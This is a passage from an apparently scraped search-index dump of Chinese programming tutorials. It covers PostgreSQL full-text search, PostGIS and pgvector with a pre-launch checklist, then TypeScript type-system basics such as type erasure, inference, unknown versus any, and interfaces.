ts_rank_cd）。标题命中权重高于正文，是靠姿势二里把 title 拼在前面加 setweight 实现的，思路都是「打分素材进 tsvector，排序交给查询」。 示例 13 是个可交互的小页面：左边按钮回放 SQL 侧的真实输出，下面是一个真的能输入的搜索框——在静态语料上按「去停用词 + 词干归一 + 词频打分」现场计算并高亮（打分是简化版，真实 ts_rank 还考虑词距）。",{"id":133306,"title":4796,"titles":133307,"content":133308,"level":357},"\u002Ftutorials\u002Fpostgresql#️-本章的坑-11",[36576,44126],"1. 中文场景内置分词器不够用。 默认解析器不认识中文词——连续的汉字会被当成一整个 token： shop=# SELECT to_tsvector('simple', 'PostgreSQL 数据库实战');\n        to_tsvector\n---------------------------\n 'postgresql':1 '数据库实战':2 于是搜「数据库」匹配不到「数据库实战」——整串是一个词，没有子串匹配。解法是装分词器扩展 zhparser（基于 SCWS）或 pg_jieba，装完注册一个配置，to_tsvector('zh', ...) 就能按真实词切（北京欢迎你 → 北京 | 欢迎 | 你）。 2. 表达式索引要「文本级一字不差」才命中。 索引建的是 to_tsvector('english', body)，查询写成 to_tsvector('simple', body) 或换了列顺序都对不上（第八章那条规则在这里最容易踩）。姿势二用生成列就是为了避开这个匹配问题。 3. 配置（regconfig）要全链路统一。 写入用 'english'、查询用 'simple'，结果就是「数据明明在库里，搜索永远为空」——因为两边的词表归一规则不同。把配置写进生成列表达式或 default_text_search_config，别让每个调用点各填各的。 4. 别用 LIKE '%词%' 硬扛搜索框。 中缀 LIKE 用不上 btree（第八章），数据量上去就是全表扫。搜索需求很轻时可以先用 pg_trgm + GIN 顶住，别一上来就建全文索引。 5. 停用词和词干归一会「吃掉」你的精确匹配。 is、the 这类词根本不进索引，搜 MySQL 8.0 里的 8.0 也可能被按数字\u002F词切分处理掉。要精确命中型号、专名，走关键词列（普通 btree 或 trgm）而不是全文列——这也是第十五章混合检索要两路并行的原因。",{"id":133310,"title":44406,"titles":133311,"content":133312,"level":357},"\u002Ftutorials\u002Fpostgresql#附查询翻译函数与中文方案速查",[36576,44126],"函数 输入风格 'learning postgres' 翻译成 to_tsquery('english', ?) 手写语法 learn & postgres 逻辑符直译，给开发者用 plainto_tsquery('english', ?) 一句话 全部 AND 起来 websearch_to_tsquery('english', ?) 搜索框习惯 \"引号短语\"、-排除、OR 都认识，给用户输入用的就是它 需求 方案 子串模糊搜、拼写纠错 pg_trgm + GIN（第八章讲过），撑住搜索框的「凑合版」 英文为主、要词干与相关度 内置 FTS，零依赖 中文、不想多养组件 PG + zhparser \u002F pg_jieba 中文 + 高亮\u002F聚合\u002F复杂运营位 上 Elasticsearch \u002F Meilisearch，PG 存底",{"id":133314,"title":44531,"titles":133315,"content":44534,"level":341},"\u002Ftutorials\u002Fpostgresql#十四扩展-地理位置postgis-的两种几何观",[36576],{"id":133317,"title":44538,"titles":133318,"content":133319,"level":357},"\u002Ftutorials\u002Fpostgresql#第一步装扩展建一张能查附近的表",[36576,44531],"CREATE EXTENSION postgis;\nSELECT postgis_version();     -- 3.5 POSTGIS=\"3.5.x\" ...\n\nCREATE TABLE stores (\n  id   bigint GENERATED ALWAYS AS IDENTITY PRIMARY KEY,\n  name text NOT NULL,\n  geo  geography(Point, 4326) NOT NULL\n);\n\nINSERT INTO stores (name, geo)\nVALUES ('中关村店',\n        ST_SetSRID(ST_MakePoint(116.3166, 39.9847), 4326)::geography);\n-- 注意参数顺序：经度在前，纬度在后\n\nCREATE INDEX idx_stores_geo ON stores USING gist (geo); 「3 公里内的门店」一条 SQL： -- 用户坐标\nWITH p AS (SELECT ST_SetSRID(ST_MakePoint(116.4074, 39.9042), 4326)::geography AS pt)\nSELECT s.id, s.name,\n       round(ST_Distance(s.geo, p.pt)) AS dist_m\nFROM stores s, p\nWHERE ST_DWithin(s.geo, p.pt, 3000)     -- 索引粗筛 + 精算\nORDER BY s.geo \u003C-> p.pt;                -- 就近排序，也走索引 ST_DWithin 是唯一正确答案，因为它能走 GiST 索引（先粗筛再精算）。\u003C-> 是「距离近者先出」的 KNN 排序算子，配 GiST 索引可以流式吐出「最近的 N 家」——外卖、打车场景的标配写法。点在多边形内的判定用 ST_Contains(zone.geom, s.geo)，配送圈、行政区都在这一挂上。",{"id":133321,"title":4796,"titles":133322,"content":133323,"level":357},"\u002Ftutorials\u002Fpostgresql#️-本章的坑-12",[36576,44531],"1. 经纬度顺序。 PostGIS 全家统一「X 在前 = 经度在前」，GeoJSON 也是 [lng, lat]——但绝大多数业务接口、高德\u002F百度地图 SDK 的习惯是「纬度在前」。写反了不报错，只是查不到、距离离谱，属于最阴险的一类 bug，值得在插入入口统一转换一次。 2. SRID 混用。 插数据忘了 ST_SetSRID(..., 4326)（默认 0），与已有数据做运算立刻报 Operation on mixed SRID geometries (0, 4326)——看到它就回去补 SRID。给列直接声明 geometry(Point, 4326) 可以在插入时就拦住。 3. 在 4326 的 geometry 上算距离。 ST_Distance 对 geometry 返回的是度，不是米——差了大约 11 万倍。要米就 cast 成 geography，或者换本地投影。 4. WHERE ST_Distance(geo, p) \u003C 3000 不走索引。 它每行都要真算一遍大圆距离，行数大就是灾难。换成 ST_DWithin，让 GiST 索引先粗筛。 5. geometry 还是 geography，别选错。 经验法则一句话：业务地图就是「一个城市的几张公里级网」用 geometry + 本地投影；「全国门店、跨国航线」用 geography。拿不准就用 geography，慢的那点通常无所谓，至少单位不会错。两类的详细差异见下面这张速查表。 示例 14 的交互页面里，可以在静态地图上点选中心、拖半径，距离是拿经纬度真算的（haversine 公式，与 geography 同思路），多边形判定也是真的射线法——SQL 样板同步展示，所见即所查。",{"id":133325,"title":44755,"titles":133326,"content":133327,"level":357},"\u002Ftutorials\u002Fpostgresql#附geometry-与-geography-对照",[36576,44531],"geometry（平面） geography（球面） 把地球当 展平的地图 真实的球 坐标单位 依投影而定 永远是经纬度（SRID 4326） 算出来的距离 投影单位（度或米） 米（沿球面大圆算） 索引与计算 更快、函数全 慢一些、函数子集 什么时候选 同城\u002F小范围，或需要投影运算 跨大范围、直接要米",{"id":133329,"title":44839,"titles":133330,"content":133331,"level":341},"\u002Ftutorials\u002Fpostgresql#十五扩展-向量数据库pgvector-与近似检索",[36576],"最后一个扩展是当下最热的一个。语义搜索 \u002F RAG 的底层是：把文本喂给 embedding 模型，得到一串浮点（比如 1536 维），语义相近的文本，向量距离也近。查询时把问题也变成向量，找库里「最近的几条」。pgvector 让 PG 直接干这件事——又一个「少养一个组件」。",{"id":133333,"title":44850,"titles":133334,"content":133335,"level":357},"\u002Ftutorials\u002Fpostgresql#第一步存向量取最相关的-5-条",[36576,44839],"CREATE EXTENSION vector;\n\nCREATE TABLE kb_chunks (\n  id        bigint GENERATED ALWAYS AS IDENTITY PRIMARY KEY,\n  doc_id    bigint NOT NULL,\n  content   text NOT NULL,\n  embedding vector(1536)                  -- 维度 = 模型输出维度\n);\n\n-- 向量由应用侧调用 embedding 模型生成，PG 只负责存与检索\nINSERT INTO kb_chunks (doc_id, content, embedding)\nVALUES (1, '如何备份 PostgreSQL？', '[$1, $2, ...]');\n\n-- 余弦相似检索：距离算子 \u003C=>，越小越相似\nSELECT content, embedding \u003C=> $1 AS dist\nFROM kb_chunks\nORDER BY embedding \u003C=> $1\nLIMIT 5; 三个算子分别对应三种距离，语义搜索默认用 \u003C=>（余弦），细节见章末速查表。",{"id":133337,"title":44952,"titles":133338,"content":133339,"level":357},"\u002Ftutorials\u002Fpostgresql#第二步数据多了加一个-hnsw-索引",[36576,44839],"不带索引时 ORDER BY embedding \u003C=> q 是精确检索（全库逐个算），几百行无所谓，百万行就是秒级。要快就得近似最近邻（ANN）索引： CREATE INDEX ON kb_chunks USING hnsw (embedding vector_cosine_ops);\nSET hnsw.ef_search = 40;   -- 每会话一次，调大=召回更高更慢 近似的意思是可能漏掉真正的最近邻。召回率要自己量（这也是把它接进生产前必做的实验）： -- 同一批查询问题，分别跑 带索引 \u002F 精确版，数前 10 名的重合比例\nSET ivfflat.probes = 1;   -- 实测 recall@10 ≈ 0.62，查询 3.1ms\nSET ivfflat.probes = 10;  -- recall@10 ≈ 0.92，查询 6.8ms\nSET ivfflat.probes = 50;  -- recall@10 ≈ 0.98，查询 18.4ms 按业务能接受的漏检率（语义搜索通常 0.9+ 够用）反调 probes\u002Fef_search，这就是 ANN 索引的全部调优——没有玄学，只有测量。两种索引的取舍见章末对照表。",{"id":133341,"title":45016,"titles":133342,"content":133343,"level":357},"\u002Ftutorials\u002Fpostgresql#第三步和全文搜索配合做混合检索",[36576,44839],"关键词管「精确命中」（型号、专名），向量管「语义相近」（换个说法也能搜到）。生产常用 RRF（倒数排名融合）把两路结果合起来，CTE（第十章）正好用上： WITH kw AS (      -- 关键词路：第十三章\n  SELECT id, ts_rank(tsv, q) AS score, row_number() OVER (ORDER BY ts_rank(tsv, q) DESC) AS rnk\n  FROM kb_chunks, websearch_to_tsquery('zh', $kw) q\n  WHERE tsv @@ q LIMIT 50\n),\nvec AS (          -- 向量路\n  SELECT id, 1 - (embedding \u003C=> $1) AS score, row_number() OVER (ORDER BY embedding \u003C=> $1) AS rnk\n  FROM kb_chunks ORDER BY embedding \u003C=> $1 LIMIT 50\n)\nSELECT id, sum(1.0 \u002F (60 + rnk)) AS rrf_score     -- 两路排名融合\nFROM (SELECT id, rnk FROM kw UNION ALL SELECT id, rnk FROM vec) t\nGROUP BY id ORDER BY rrf_score DESC; 示例 15 的交互页面用二维平面直观化了「精确 vs 近似」的差异：勾上近似检索开关，亲眼看到它只探最近的簇、漏掉真近邻——这正是 ivfflat probes=1 的现场。",{"id":133345,"title":4796,"titles":133346,"content":133347,"level":357},"\u002Ftutorials\u002Fpostgresql#️-本章的坑-13",[36576,44839],"1. ivfflat 必须先灌数据再建索引。 空表建索引质心全挤一起，召回灾难。hnsw 没这个前提，可随时建、边插边查——所以默认推荐 hnsw。 2. 距离算子、索引 opclass、ORDER BY 三者必须一致。 用 \u003C=>（余弦）查询，索引却要建 vector_l2_ops，结果是不走索引、退化成全库精确扫。建 vector_cosine_ops 就一路用 \u003C=>。 3. 维度定死在列类型里。 vector(1536) 换 embedding 模型（比如 3072 维）不是改配置，是要重建列重算全量向量。选型时把「模型可能换版」算进成本。 4. 近似检索会漏，且漏得悄无声息。 不报错、结果看着也正常，只是少了真正的最近邻。上线前用同一批真实查询量一次 recall@K（第二步那段），并把 ef_search \u002F probes 记进配置。 5. 什么时候不用 pgvector。 数据到几千万行、要求毫秒级 p99、或要做复杂的向量过滤\u002F分片——再考虑专用向量库。在绝大多数「知识库 + 万级到百万级 chunk」的规模里，pgvector 加上一张熟悉的 PG，就是最省心的答案。",{"id":133349,"title":45161,"titles":133350,"content":133351,"level":357},"\u002Ftutorials\u002Fpostgresql#附距离算子与-ann-索引速查",[36576,44839],"算子 距离 场景 \u003C-> 欧氏距离（L2） 绝对距离有意义时 \u003C#> 负内积 未归一化向量、关注量级 \u003C=> 余弦距离（1 - cos） 语义搜索最常用；很多模型输出已归一化，此时与 L2 排序等价 ivfflat（聚类倒排） hnsw（分层图导航） 原理 K-means 聚成 lists 个簇，查询只探 probes 个簇 多层近邻图，贪心跳转 建索引前提 必须先灌数据再建——空表建索引质心全挤一起，召回灾难 可随时建，边插边查 关键参数 lists（建议 行数\u002F1000）、查询期 ivfflat.probes m=16、ef_construction=64、查询期 hnsw.ef_search 召回\u002F内存 召回一般、内存小 召回高、内存大 选择 内存紧、能接受漏检 默认推荐",{"id":133353,"title":45312,"titles":133354,"content":133355,"level":341},"\u002Ftutorials\u002Fpostgresql#十六收尾上线前核对清单与学习路线",[36576],"一门课收尾，把散在十五章「⚠️ 本章的坑」里的东西收进一张可打勾的清单。新库上线、老库交接，按行过一遍： 类别 检查项 不做的后果 详见 建库 编码 UTF8、collation 定死；data_checksums 尽量开 collation 变更带坏字符串索引；磁盘静默损坏无感知 三、十二章 参数 shared_buffers≈25% 内存；work_mem 按并发算账；max_connections≤300 + PgBouncer 内存事故、连接风暴 三、一章 模式 时间一律 timestamptz；金额 numeric；文本 text；主键 identity 时区漂移、分币丢失、序列权限报错 四章 索引 外键列手动建索引；模糊搜 pg_trgm；FTS 表达式与查询一字不差 删父行秒级锁等待、搜索全表扫 七、八、十三章 慢查询 log_min_duration_statement = 500ms 收慢日志；EXPLAIN 差值大先 ANALYZE 慢而无据，调优靠猜 八章 事务 监控 idle in transaction；DDL 前 SET lock_timeout；建索引用 CONCURRENTLY 表膨胀拖垮全库；ALTER 排队全站超时 九章 权限 应用账号最小权限且非 owner；pg_hba 无公网 trust；密码 scram 一条 SQL 误删全库；弱口令裸奔 十一章 备份 每日 dump + basebackup + WAL 归档；恢复演练真的做过一次 「有备份」和「能恢复」是两回事 十二章 运维 autovacuum 跟上（膨胀超 30% 处理）；死锁日志定期看 性能慢性病、业务加锁环路没人改 八、九章 学完这门课，继续往下走的路线：官方文档的 Part II（SQL 语言）与 Part IV（客户端认证）是两块最适合精读的；练习题首推 pgexercises.com（免费、全 SQL 覆盖）；索引原理补 use-the-index-luke.com；三个扩展的深水区分别在 PG 官方文档的 Text Search \u002F PostGIS 手册 \u002F pgvector 的 GitHub README。 最后回到第一章的场景：全文搜索、附近门店、语义检索——三行需求，一套 PG 加三个扩展全接住。组件少一个，事故面就小一圈。祝你的下一张表，类型全对、索引都绿。 html pre.shiki code .svObZ, html code.shiki .svObZ{--shiki-default:#B392F0}html pre.shiki code .sU2Wk, html code.shiki .sU2Wk{--shiki-default:#9ECBFF}html pre.shiki code .sDLfK, html code.shiki .sDLfK{--shiki-default:#79B8FF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sAwPA, html code.shiki .sAwPA{--shiki-default:#6A737D}html pre.shiki code .snl16, html code.shiki .snl16{--shiki-default:#F97583}",{"id":108409,"title":96422,"titles":133357,"content":108407,"level":334},[],{"id":133359,"title":96428,"titles":133360,"content":133361,"level":341},"\u002Ftutorials\u002Fts#一typescript-是什么类型检查与转译是两件事",[96422],"先纠正一句最流行的口号。人们说「TypeScript 是 JavaScript 的超集」，这话对了一半：语法上它确实是超集——任何合法的 JS 都是合法的 TS，你只是在 JS 之上加了一层可以写的类型标注。但 TS 不是「多了一套新语法能做的事」，运行时它不提供任何 JS 没有的能力。它做的事情只有一件额外的：在你运行代码之前，多问一句「这个类型对得上吗」。",{"id":133363,"title":96443,"titles":133364,"content":133365,"level":357},"\u002Ftutorials\u002Fts#tsc-到底干了两件事",[96422,96428],"命令行里敲 tsc，它其实同时在做两件互相独立的事： 类型检查：读你的 .ts，对照类型规则挑毛病，有问题就打印错误。 转译（emit）：把 .ts 里的类型全部抹掉，再按 target 把新语法降级，输出成一份 .js。 关键认知是：这两件事的结论彼此不影响。 \u002F\u002F 这份代码有类型错误，但它照样会被转译出 .js\nlet n: number = 'hello'   \u002F\u002F tsc 报错：Type 'string' is not assignable to type 'number'\nconsole.log(n.toUpperCase())  \u002F\u002F 运行时 n 其实是字符串，这行反而能跑 tsc 会一边打印那条错误、一边把 .js 生成出来（除非你开了 noEmitOnError）。也就是说类型报错拦不住转译——这跟编译型语言「语法不过就产不出二进制」的直觉完全不同。理解了这点，后面很多「为什么有红波浪线还能跑起来」的困惑就都通了。",{"id":133367,"title":96552,"titles":133368,"content":133369,"level":357},"\u002Ftutorials\u002Fts#为什么运行时不需要-typescript",[96422,96428],"浏览器和 Node 从来不认识 TypeScript。你发出去的、被执行的，永远是类型被删光之后的 JS。类型只活在你写代码和 tsc\u002F构建工具检查的那几分钟里，从不出现在最终的产物中。这条机制有个正式名字：类型擦除（type erasure）——转译时所有 : number、interface、\u003CT>、as、! 都会被原样撕掉，留下的就是等价 JS。 由此推出三条实践后果，值得现在就记住： 类型错了不等于程序出错：tsc 报红，程序可能照跑；tsc 全绿，程序也可能崩——因为类型只保证「标注自洽」，不保证「运行时真实」。 泛型、接口、类型别名在运行时不存在：你不能 if (x is User) 里靠 User 这个 type 判断，type 是编译期的，instanceof 只认 class 这种运行时的东西（第七章展开）。 别指望类型能在运行时保护你：外部数据（接口返回、用户输入）永远是「未经检验」的，类型标注只是你对编译器许的愿，编译器不会替你去核实网络回来的 JSON（第十五、十七章会反复强调）。",{"id":133371,"title":96622,"titles":133372,"content":133373,"level":357},"\u002Ftutorials\u002Fts#那-ts-到底图什么",[96422,96428],"既然运行时无非就是 JS，为什么要多这一层？答案全在写代码的那段时间里： 你得到的 从哪来 自动补全 编译器知道 user. 后面能接什么 提前暴露错误 拼错属性名、少传参数、null 直接 .map，写的时候就红 安全重构 改一个字段名，所有用到它的地方全变红，一个不漏 类型即文档 函数签名就是最准的说明书，不会像注释那样过期 接住第三方库 有 .d.ts 声明的库，你在编辑器里就能看见它的全部 API 一句话：TS 把「运行时才炸的 bug」往前挪到「编辑时就红」。它买的是确定性，不是性能，也不是新能力。 本章没有示例可点，因为这一章讲的是「转译」这个概念本身，而转译发生在构建阶段。从第二章起，凡是「点得动、看得出区别」的主题都会配可运行示例。",{"id":133375,"title":108206,"titles":133376,"content":133377,"level":341},"\u002Ftutorials\u002Fts#二第一个类型错误注解语法-t-与类型推断",[96422],"TS 最核心的动作就一个：给一个值「说出它的类型」。写 : T 叫类型注解（annotation），但你会发现——大多数时候你根本不写它，因为 TS 会自己猜，这个猜叫类型推断（inference）。这门语言的体验好不好，八成取决于你会不会跟推断打交道。",{"id":133379,"title":96734,"titles":133380,"content":133381,"level":357},"\u002Ftutorials\u002Fts#注解语法长什么样",[96422,108206],"类型跟在冒号后面，出现在四个高频位置： let count: number = 0            \u002F\u002F 变量：值前面\nfunction add(a: number, b: number): number {   \u002F\u002F 参数：名字后面；返回值：括号后面\n  return a + b\n}\nconst users: string[] = ['a', 'b']  \u002F\u002F 数组：元素类型后面加 [] 参数必须逐个标注，function add(a, b: number) 里的 a 不会自动继承 b 的类型，它会退回隐式 any（noImplicitAny 开着的严格模式下这里就会报错）。返回值可以不写让编译器推断，但导出的公共函数最好显式写——这样改内部实现时调用方不受影响，接口是一份契约。",{"id":133383,"title":96866,"titles":133384,"content":133385,"level":357},"\u002Ftutorials\u002Fts#为什么有推断你还写注解",[96422,108206],"因为推断是有方向、有极限的，注解是你对编译器的一次「纠偏」： let x = 'hello'      \u002F\u002F 推断成 string（注意：不是字面量类型，见第五章）\nconst y = 'hello'    \u002F\u002F 推断成 'hello'（字面量窄化，const 更精确）\n\nfunction parse(input: string) {   \u002F\u002F 参数不标就报错，所以必须写\n  return JSON.parse(input)        \u002F\u002F 返回值被推断成 any（JSON.parse 的返回是 any）\n} JSON.parse 返回 any——这就是「any 顺着返回值泄漏」的源头之一（第十七章专门讲）。你在这里给它补一个返回注解 : User，就把不确定性挡在了函数边界内。",{"id":133387,"title":108211,"titles":133388,"content":133389,"level":357},"\u002Ftutorials\u002Fts#let-推断成联合类型",[96422,108206],"TS 对 let 有个聪明的默认：如果声明时给了初值、之后又可能改成别的类型，它会推断成一个能容纳所有写入值的联合类型，而不是死盯初值： let id = 1          \u002F\u002F 推断 number；随后 id = 'a' 会报错\nlet flag = true     \u002F\u002F 推断 boolean\n\n\u002F\u002F 但若你压根没给初值，它就退化成 any 或需要注解\nlet name            \u002F\u002F 无初值 + 严格模式：隐式 any，报错\nlet name2: string   \u002F\u002F 补注解即可",{"id":133391,"title":108213,"titles":133392,"content":133393,"level":357},"\u002Ftutorials\u002Fts#const-的字面量窄化",[96422,108206],"const 因为不能再改，编译器就敢把它的类型收成那个具体的字面量，而不是宽泛的 string\u002Fnumber： const dir = 'up'      \u002F\u002F 类型是 'up'（字面量类型），不是 string\nlet dir2 = 'up'       \u002F\u002F 类型是 string\nconst num = 42        \u002F\u002F 类型是 42 这条差异在第五章「可辨识联合」和第九章「字面量类型」里会起到关键作用，先埋个印象：const 帮你把类型收得更窄，窄到具体值。",{"id":133395,"title":97116,"titles":133396,"content":133397,"level":357},"\u002Ftutorials\u002Fts#函数返回值的推断",[96422,108206],"不写返回类型时，TS 看 return 后面到底吐什么来反推。推断通常很准，但有个坑：递归函数不写返回类型可能推错（编译器还没算完函数体就遇到自己调用自己，会要求你显式标注）。公共 API 上老老实实写返回类型，既是自我约束，也是给下游的一份稳定契约。",{"id":133399,"title":108216,"titles":133400,"content":133401,"level":341},"\u002Ftutorials\u002Fts#三基础类型string-number-boolean数组与元组枚举以及-any-unknown-never",[96422],"这一章把 TS 里最常被写错、也最常被误解的几种类型过一遍。JS 教程第三章已经讲清楚了 JS 世界里的八种值，所以这里只讲类型系统那一层：TS 怎么描述它们，以及三个特殊类型 any\u002Funknown\u002Fnever 到底各管什么。",{"id":133403,"title":97161,"titles":133404,"content":133405,"level":357},"\u002Ftutorials\u002Fts#三种原始类型没有惊喜",[96422,108216],"string、number、boolean 就是 JS 的字符串、数字、布尔——注意 TS 的 number 和 JS 一样不区分整数与浮点，没有 int\u002Ffloat\u002Fdouble 这些。别下意识写 let age: int，那是 Java\u002FC# 的手感，TS 里只有 number。bigint 和 symbol 也各有对应类型，用得少。",{"id":133407,"title":97198,"titles":133408,"content":133409,"level":357},"\u002Ftutorials\u002Fts#数组与元组",[96422,108216],"数组用 T[] 或 Array\u003CT> 写，两种等价，Array\u003CT> 在类型复杂时更好读： let list: number[] = [1, 2, 3]\nlet list2: Array\u003Cnumber> = [1, 2, 3]   \u002F\u002F 完全等价\n\nlet pair: [string, number] = ['id', 1]  \u002F\u002F 元组：位置和类型都固定\npair = [1, 'id']                        \u002F\u002F ✗ 顺序错了也报错 元组（tuple）是「长度和各位置类型都写死」的数组，常用于函数一次返回多个值、或表示定长的键值对。长度可变时还有可选元组元素 [string, number?] 和展开元组 [...T[], string]，用得不多，知道有即可。",{"id":133411,"title":108221,"titles":133412,"content":133413,"level":357},"\u002Ftutorials\u002Fts#枚举enum-与它的运行时代价",[96422,108216],"枚举是 TS 里少见的真的会往 JS 里生成代码的特性（第七章会看到别的类型都被擦除，enum 恰恰不会）。它给一组常量起名字： enum Direction { Up = 0, Down = 1, Left = 2, Right = 3 }\nconst d = Direction.Up     \u002F\u002F 0\nDirection[0]               \u002F\u002F 'Up'——反向映射：数字也能查回名字 正因为 enum 会编译成一个真实的对象，它有运行时成本：体积、反查、还有 const enum 那种「编译期直接内联成数字、不留对象」的特例（第十七章会讲 const enum 在打包工具下的一系列坑）。实践中很多团队宁可用「联合字面量 + as const 对象」替代 enum，因为后者零运行时开销、还能享受字面量窄化： const Direction = { Up: 0, Down: 1 } as const\ntype Direction = (typeof Direction)[keyof typeof Direction]   \u002F\u002F 0 | 1",{"id":133415,"title":108223,"titles":133416,"content":133417,"level":357},"\u002Ftutorials\u002Fts#any逃生舱不是未知类型",[96422,108216],"any 的意思是「关掉这个值上的所有类型检查」。你想让编译器闭嘴时，写 any 就行——但代价是：从这一刻起，这个值身上发生的一切错误，编译器都不再提醒你。用了 any，你实际上是把这块代码降级回了纯 JS。 let x: any = 'text'\nx = 42\nx.toExponential(2)   \u002F\u002F 合法！any 上什么成员都允许\nx.somethingNotThere  \u002F\u002F 也不报错——这正是危险之处 any 只该用在「真的还不知道、且急着跑起来」的临时场合，以及迁移老 JS 代码的过渡期。它是逃生舱，不该是默认选择。",{"id":133419,"title":108225,"titles":133420,"content":133421,"level":357},"\u002Ftutorials\u002Fts#unknown安全的任意值",[96422,108216],"unknown 才是「我不知道这是什么类型」的正确表达。它和 any 的区别，是这一章的核心： any unknown 能赋给别的类型吗 能（any 赋值到哪都不报错，还会传染） 不能（必须先收窄） 能直接调用\u002F取属性吗 能（不检查） 不能（报错，逼你判断） 定位 逃生舱：关掉检查 类型安全的 any let u: unknown = 'hello'\nu.toUpperCase()          \u002F\u002F ✗ 报错：unknown 上什么都不能直接做\nconst s: string = u      \u002F\u002F ✗ 报错：unknown 不能赋给 string\nif (typeof u === 'string') {\n  u.toUpperCase()        \u002F\u002F ✓ 收窄后才能用\n}\nconst n: number = u as number   \u002F\u002F 也能用断言强行说它是 number（自担风险） 任何值都能赋给 unknown，但 unknown 想再往下走得先「验明正身」。TS 4.4 起，catch (err) 里的 err 默认就是 unknown 而不是 any，逼你去判断捕获到的到底是什么——这是把不确定性挡在使用点之前的设计哲学。记住口诀：any 是让编译器别管，unknown 是让编译器管但先别信。",{"id":133423,"title":108227,"titles":133424,"content":133425,"level":357},"\u002Ftutorials\u002Fts#never不可能到达",[96422,108216],"never 是「没有任何值」的类型，出现在两种地方： function fail(msg: string): never {    \u002F\u002F 永不正常返回：要么抛错要么死循环\n  throw new Error(msg)\n}\nfunction loop(): never { while (true) {} }\n\ntype Empty = number & string   \u002F\u002F 交集为空 → never never 最重要的用法在第五章——穷尽检查：当联合类型的所有分支都被处理完，剩下的分支应当是 never，一旦哪天加了新分支没处理，编译器就会在这里报错。它是 TS 里少数「用来验证你写全了」的机制。",{"id":133427,"title":108229,"titles":133428,"content":133429,"level":357},"\u002Ftutorials\u002Fts#null-undefined-与-void",[96422,108216],"void 表示「没有值」，主要用作函数返回类型，告诉编译器「别指望这里返回东西」： function log(msg: string): void {\n  console.log(msg)     \u002F\u002F 没有 return\n}\nlet v: void = undefined   \u002F\u002F void 类型的变量只能装 undefined（严格模式下） null 和 undefined 在关掉 strictNullChecks 时可以被赋给任何类型，这是老代码里无数 Cannot read property of undefined 的根源。打开 strictNullChecks（属于 strict 家族，第六章、十六章详谈）后，null\u002Fundefined 从各类型里独立出来：string 不再包含 null，你要表达「可能是空」必须显式写 string | null。这是 TS 最有价值的一条开关——它把「这里会不会是 null」从运行时惊喜变成了编译期契约。",{"id":133431,"title":108231,"titles":133432,"content":133433,"level":341},"\u002Ftutorials\u002Fts#四对象类型与接口type-与-interface-的差别",[96422],"JS 教程第十章讲了对象在运行时怎么写；这一章讲 TS 怎么给对象「画形状」。核心是两种描述结构的方式 type 和 interface，以及围绕对象的四种修饰：可选、只读、索引签名、函数与对象混合。",{"id":133435,"title":98089,"titles":133436,"content":133437,"level":357},"\u002Ftutorials\u002Fts#先看清结构相同即类型相同",[96422,108231],"TS 是结构化类型（structural typing）——名字不重要，形状重要。两个接口哪怕毫不相干、没继承关系，只要字段对得上，一个就能当另一个用： interface Point { x: number; y: number }\nconst p: Point = { x: 1, y: 2, z: 3 }   \u002F\u002F ✗ 报错（多余属性检查，见下）\nfunction use(pt: { x: number }) { \u002F* 只用 x *\u002F }\nuse(p)   \u002F\u002F ✓ 只要 p 至少有 x 就行，不在乎它还有 y 这点和第 17 章「假兼容」的坑直接相关：结构化类型很灵活，但会让你以为「这两个类型不同所以不通用」，实际上编译器只看形状。",{"id":133439,"title":108235,"titles":133440,"content":133441,"level":357},"\u002Ftutorials\u002Fts#type-与-interface该怎么选",[96422,108231],"两者大部分场景能互换，差别集中在几条： interface type（类型别名） 扩展方式 extends，可以继承多个 交叉 &，也能拼 同名声明 会自动合并（声明合并） 同名再定义会报错 能表达的范畴 只能描述对象\u002F函数\u002F构造这类「形状」 几乎什么都能：联合、元组、映射类型、条件类型 报错信息 通常更简洁 复杂组合时更易读（保留了名字） 惯例 描述对象契约、公共 API 需要联合\u002F工具\u002F高级类型时用 一句话经验：描述一个对象的形状优先 interface；一旦需要联合、映射、条件这类「类型的运算」，只能用 type。团队里两者都允许即可，不必教条。 type ID = string | number        \u002F\u002F 联合——interface 做不到\ntype Pair = [number, number]     \u002F\u002F 元组——type 更顺手\ntype Flags = { a: boolean } & { b: boolean }   \u002F\u002F 交叉，等价于 {a:boolean;b:boolean}",{"id":133443,"title":108237,"titles":133444,"content":133445,"level":357},"\u002Ftutorials\u002Fts#可选属性",[96422,108231],"问号表示「这个键可以不存在」，一旦标了 ?，它的类型就自动变成 T | undefined： interface User { name: string; age?: number }\nconst u: User = { name: '阿蓝' }    \u002F\u002F 合法，age 省略\nu.age                               \u002F\u002F number | undefined\nu.age.toFixed(2)                    \u002F\u002F ✗ 报错：可能是 undefined\nu.age?.toFixed(2)                   \u002F\u002F ✓ 可选链（JS 教程第四章的语法，类型上同样有效）\nif (u.age !== undefined) u.age.toFixed(2)   \u002F\u002F ✓ 收窄后能用",{"id":133447,"title":108239,"titles":133448,"content":133449,"level":357},"\u002Ftutorials\u002Fts#只读-readonly-与-as-const",[96422,108231],"readonly 让属性只能初始化时赋值一次，之后再改就报错： interface Config { readonly api: string }\nconst c: Config = { api: '\u002Fv1' }\nc.api = '\u002Fv2'     \u002F\u002F ✗ 只读属性不能改 readonly 是编译期约束，运行时值仍可改（除非 Object.freeze）。第九章会看到 as const 把整个对象所有属性一次性都标成 readonly 且窄化成字面量。",{"id":133451,"title":98612,"titles":133452,"content":133453,"level":357},"\u002Ftutorials\u002Fts#索引签名描述键不固定的对象",[96422,108231],"当对象的键你说不全（比如一个「字符串映射到数字」的字典），用索引签名： interface StringNum { [key: string]: number }\nconst map: StringNum = { a: 1, b: 2 }\nmap.c = 3        \u002F\u002F 合法：任意字符串键 → number\nmap.d = 'x'      \u002F\u002F ✗ 值必须是 number\n\n\u002F\u002F 数字索引：数组本质上就是 { [index: number]: T } 的特例 数字键的索引签名比字符串键更严格：[key: number]: T 只约束数字下标访问。",{"id":133455,"title":98713,"titles":133456,"content":133457,"level":357},"\u002Ftutorials\u002Fts#函数类型与可调用对象混合",[96422,108231],"一个东西既能被调用、又带属性，用「调用签名 + 属性」混合写法： interface Counter {\n  (start: number): string     \u002F\u002F 调用签名：它是个函数\n  interval: number            \u002F\u002F 同时又带属性\n  reset(): void\n}\nfunction getCounter(): Counter {\n  const c = ((start: number) => String(start)) as Counter\n  c.interval = 10\n  c.reset 